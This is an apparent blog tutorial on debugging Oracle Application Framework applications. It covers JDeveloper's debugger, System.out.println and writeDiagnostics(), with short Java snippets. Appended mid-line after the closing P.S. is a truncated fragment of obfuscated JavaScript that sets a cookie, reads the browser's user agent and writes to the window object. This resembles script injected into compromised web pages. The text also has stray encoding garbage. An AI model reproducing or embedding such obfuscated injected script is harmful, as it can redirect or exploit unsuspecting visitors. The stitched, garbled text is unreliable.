Debugging Techniques in OAF

Introduction

Debugging is very crucial and vital while building any application. Debugging doesn’t mean that developer has to debug only once bug comes rather logging of information shouldA�be done in such a fashion that any member of any team e.g support or maintenance or dev team can easily do without any helpA�of the original developer. SoA�Today we will see how to debug an OAF application and the available techniques of debugging an OAF application:

  1. OAF/ Jdeveloper provided In-built debugging technique.
  2. System.out.println() statement.
  3. Writing Diagnostics Messages.

Debugging Techniques

We will discuss on all of these techniques oneA�by one.

  1. OAF/ Jdeveloper provided In-built debugging technique
    OAF rather Jdeveloper IDE itself provides builtin debugging features.
  2. System.out.println() Statement
    Java provides its own proprietaryA�of printing any output to a console. Here in Jdeveloper, System.out.println() prints the information in the log window in Jdeveloper.
  3. Writing Diagnostics Messages
    pageContext.writeDiagnostics() writes log during Runtime once the application is deployed to the EBS instance. Once application is deployed the above two techniques will no longer be useful as those are the debugging techniques while building or developing an application in jdeveloper. So when the application is used by the user real-time, then only source of logging information is the messages/ information printed by writeDiagnostics() method in the page.
    The method signature of writeDiagnostics() is:
    writeDiagnostics(Object object, String logMessage,byte loggingLevel)Paramters:

    • object is the component or java code being considered.
    • logMessage is the information/ message to be printed
    • logging level is at what level information needs to be logged. e.g.
      1. Statement
      2. Exception

The writeDiagnostics() method can be used by all the OAF components to print log. For BC4J components (AM,EO, VO), the writeDiagnostics() is accessible through an object of OADBTransaction class and in Controller (CO), through pageContext of OAPageContext. Let’s find How?

In CO,

if (pageContext.isLoggingEnabled(1)){
pageContext.writeDiagnostics(this, “CO:processRequest():Start”,1)
}

In AM, VO, EO,

if(getOADBTransaction().isLoggingEnabled(1)){
getOADBTransaction().writeDiagnostics(this,”AM:methodName():Start”,1);
}

P.S. The information should be logged as much as possible so that it helps support/ maintenance/ developer team to analyze the bug and do RCA (Root Cause Analysis) quickly. Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

Show my latest post here